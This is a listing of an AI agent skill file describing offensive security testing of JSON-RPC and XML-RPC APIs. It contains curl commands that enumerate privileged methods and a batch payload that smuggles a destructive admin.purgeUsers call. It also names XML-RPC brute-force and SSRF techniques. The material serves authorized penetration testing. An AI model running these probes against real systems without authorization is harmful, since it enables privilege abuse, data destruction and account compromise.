Rpc api security

From xalgorix/xalgorix · View interactive version

Rpc api security is an AI agent skill from the GitHub repository xalgorix/xalgorix. JSON-RPC and XML-RPC API security testing — method enumeration, unauthenticated and privileged RPC calls, batch authorization inconsistencies, method confusion, ID handling, and hidden internal method discovery

How to use this skill

Skill file

RPC API Security (JSON-RPC / XML-RPC)

Purpose

Exploit RPC-style APIs: enumerate callable methods, invoke privileged or internal methods with lower-privilege sessions, abuse batch semantics, and exploit ID/param handling — applying the same differential evidence contracts as REST skills.

Preconditions

Attack Surface Signals

Methodology

Step 1: Error-Triplet Baseline

curl -sk -X POST "https://TARGET/rpc" -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"no_such_method","params":[],"id":1}'
curl -sk -X POST "https://TARGET/rpc" -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"target_method","params":[],"id":1}'

Compare: unknown-method error vs real-method response (authz error, param error, or execution). Different error strings = method EXISTS and is callable to some depth. Catalog these before concluding anything.

Step 2: Method Enumeration

for m in user.list user.get admin.list system.listMethods rpc.discover \
  getRoles updateUser deleteUser debug.status internal.exec importData; do
  resp=$(curl -sk -X POST "https://TARGET/rpc" -H "Content-Type: application/json" \
    -d "{\"jsonrpc\":\"2.0\",\"method\":\"$m\",\"params\":{},\"id\":1}")
  echo "$m => $resp" | head -c 200; echo
done
# Framework-specific discovery
# system.listMethods (XML-RPC), rpc.discover (JSON-RPC OpenRPC), eth_* on chain nodes

Treat readable responses as CANDIDATES — a finding requires a concrete unauthorized outcome.

Step 3: Privileged Method Invocation

1. Invoke the privileged method legitimately as the admin/high session → record the effect (baseline)
2. Same exact call with the lower-privilege session → if it executes identically: BFLA finding
3. Same call anonymous → additional finding surface
Verify the privileged effect with a second read (role changed, user created, data returned).

Step 4: Param and Type Abuse

Step 5: Batch Authorization Inconsistencies

curl -sk -X POST "https://TARGET/rpc" -H "Content-Type: application/json" -d '[
  {"jsonrpc":"2.0","method":"user.get","params":[123],"id":1},
  {"jsonrpc":"2.0","method":"user.get","params":[456],"id":2},
  {"jsonrpc":"2.0","method":"admin.purgeUsers","params":[],"id":3}
]'

Some implementations authorize the batch container, not each method — mixed-role batches can smuggle privileged calls. Per-item responses must be checked individually: one executed admin.purgeUsers result = finding.

Step 6: ID and Notification Handling

Step 7: XML-RPC-Specific

<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>
<!-- WordPress/MantisBT: system.multicall as auth-bypass batch primitive
     (password brute force via multicall, historically); pingback.ping as
     SSRF primitive (chains into api-ssrf) -->

Evidence Contract

An RPC finding requires:

  1. Baseline: the method's legitimate behavior (privileged execution observed or documented)
  2. Manipulation: the lower-privilege/anonymous/param-abused invocation
  3. Differential: the privileged effect actually happened for the unauthorized caller (verified by a second read), or privileged data returned in the result

NOT evidence: a different error string, method existence, a 200 with {"result":null}, batch accepted but no per-item effects

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Every enumerated method x every session tier x positional/named/extra/type-abused params x batch and notification variants.

Handoff

Report the method, session tier, param manipulation, and the verified unauthorized effect. URL-accepting methods chain into api-ssrf; chain-node RPC (eth_*) into blockchain-specific skills.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.